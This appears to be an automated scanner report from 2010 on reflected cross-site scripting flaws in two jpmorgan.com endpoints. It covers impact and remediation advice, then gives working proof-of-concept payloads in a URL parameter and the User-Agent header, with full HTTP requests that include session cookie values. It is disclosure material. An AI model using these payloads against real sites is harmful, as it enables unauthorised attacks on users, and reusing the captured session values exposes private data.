The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the mp request parameter is copied into the XML document as plain text between tags. The payload 1d014<a%20xmlns%3aa%3d'http%3a//www.w3.org/1999/xhtml'><a%3abody%20onload%3d'alert(1)'/></a>8dac383e2b4 was submitted in the mp parameter. This input was echoed as 1d014<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>8dac383e2b4 in the application's response.
The response into which the attack is echoed contains XML data, which is not by default processed by the browser as HTML. However, by injecting XML elements which create a new namespace it is possible to trick some browsers (including Firefox) into processing part of the response as HTML. Note that this proof-of-concept attack is designed to execute when processed by the browser as a standalone response, not when the XML is consumed by a script within another page.
GET /cm/cs?pagename=tssnewscfg&mp=11147353589581d014<a%20xmlns%3aa%3d'http%3a//www.w3.org/1999/xhtml'><a%3abody%20onload%3d'alert(1)'/></a>8dac383e2b4&cacheBusterID=3484978488 HTTP/1.1 Host: www.jpmorgan.com Proxy-Connection: keep-alive Referer: http://www.jpmorgan.com/images/homepage/2008_flash/swf/jpm_panels_CS4.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JpmcSession=XDpvMvZVlMzygD2TJj5JRpkwyTlJG2zZl1LTQ8sgdnBqGGSGvRtL!-305611058; __utmz=214076236.1290787122.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=214076236.2128374590.1290787122.1290787122.1290787122.1; __utmc=214076236; __utmb=21407622.214.171.1240787122; ACE_COOKIE=R2666079405; s_cc=true; s_sq=%5B%5BB%5D%5D
HTTP/1.1 200 OK Set-Cookie: ACE_COOKIE=R2666079405; path=/; expires=Sat, 27-Nov-2010 16:05:33 GMT Date: Fri, 26 Nov 2010 16:06:49 GMT Server: Apache HOST_SERVICE: FutureTenseContentServer:6.3.0 X-Powered-By: Servlet/2.4 JSP/2.0 P3P: CP="NON CURa ADMa DEVa TAIa IVAa OUR DELa SAMa LEG UNI PRE" Content-Type: text/xml Content-Length: 3433
The value of the User-Agent HTTP header is copied into an HTML comment. The payload b92b5--><script>alert(1)</script>6745472d518 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
GET /pages/jpmorgan HTTP/1.1 Host: www.jpmorgan.com Proxy-Connection: keep-alive Referer: http://jpmorgan.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7b92b5--><script>alert(1)</script>6745472d518 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
HTTP/1.1 200 OK Set-Cookie: ACE_COOKIE=R2975777359; path=/; expires=Sat, 27-Nov-2010 16:05:33 GMT Date: Fri, 26 Nov 2010 16:05:46 GMT Cache-Control: no-cache="set-cookie" Content-Type: text/html; charset=UTF-8 host_service: FutureTenseContentServer:6.3.0 X-Powered-By: Servlet/2.4 JSP/2.0 Set-Cookie: JpmcSession=vvNvMvhhvl5h44NtsvfcpZyK9TpjzH072GvD92gJ2LDJZbQnHPm7!1969603233; path=/ P3P: CP="NON CURa ADMa DEVa TAIa IVAa OUR DELa SAMa LEG UNI PRE" Content-Length: 51745
...[SNIP]... <!-- userAgentPassed:Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7b92b5--><script>alert(1)</script>6745472d518 --> ...[SNIP]...
Report generated by XSS.CX at Fri Nov 26 10:29:58 CST 2010.